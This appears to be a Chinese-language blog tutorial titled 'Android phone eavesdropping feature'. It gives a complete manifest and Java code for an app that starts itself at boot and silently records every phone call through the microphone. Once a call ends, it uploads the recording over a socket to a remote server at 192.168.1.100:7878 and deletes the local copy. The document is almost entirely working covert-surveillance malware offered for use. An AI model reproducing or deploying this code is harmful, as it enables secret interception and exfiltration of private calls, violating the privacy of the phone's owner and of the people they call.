android-电话窃听功能

1.注册电话接听广播和窃听服务

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="cn.wxxu.phonelistener"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="8" />

    <application
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        
        <service android:name=".PhoneService"/>
        
        <receiver android:name=".BootBroadcastReceiver">
            <intent-filter >
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
    </application>

    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 <!-- 在SDCard中创建与删除文件权限 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<!-- 往SDCard写入数据权限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 <!-- 访问internet权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>          
</manifest>
2.创建电话广播接收者对象,在onReceive方法中开启监听服务

public class BootBroadcastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Intent service = new Intent(context, PhoneService.class);//显式/隐式
		context.startService(service);//Intent激活组件(Service)
	}

}

3.在监听服务的onCreate方法中使用电话管理器开启电话监听状态

public void onCreate() {
		super.onCreate();
		TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
		telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
	}

4.创建电话监听器监听电话状态

private final class PhoneListener extends PhoneStateListener{
		private String incomingNumber;
		private File file;
		private MediaRecorder mediaRecorder;
		
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_RINGING://来电
					this.incomingNumber = incomingNumber;
					break;

				case TelephonyManager.CALL_STATE_OFFHOOK://接通电话
					file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");
					mediaRecorder = new MediaRecorder();
					mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
					mediaRecorder.setOutputFile(file.getAbsolutePath());
					mediaRecorder.prepare();
					mediaRecorder.start();//开始录音
					break;
					
				case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态
					if(mediaRecorder != null){
						mediaRecorder.stop();
						mediaRecorder.release();
						mediaRecorder = null;
						uploadFile();
					}
					break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}

5.电话挂断后利益Socket上传监听的文件到服务器

private void uploadFile() {
			new Thread(new Runnable() {				
				public void run() {
					try {
						if(file!=null && file.exists()){
							Socket socket = new Socket("192.168.1.100", 7878);
				            OutputStream outStream = socket.getOutputStream();
				            String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
				            outStream.write(head.getBytes());
				            
				            PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());	
							String response = StreamTool.readLine(inStream);
				            String[] items = response.split(";");
							String position = items[1].substring(items[1].indexOf("=")+1);
							
							RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
							fileOutStream.seek(Integer.valueOf(position));
							byte[] buffer = new byte[1024];
							int len = -1;
							while( (len = fileOutStream.read(buffer)) != -1){
								outStream.write(buffer, 0, len);
							}
							fileOutStream.close();
							outStream.close();
				            inStream.close();
				            socket.close();
				            file.delete();
				            file = null;
			            }
			        } catch (Exception e) {                    
			            e.printStackTrace();
			        }
				}
			}).start();
		}



你可能感兴趣的:(android-电话窃听功能)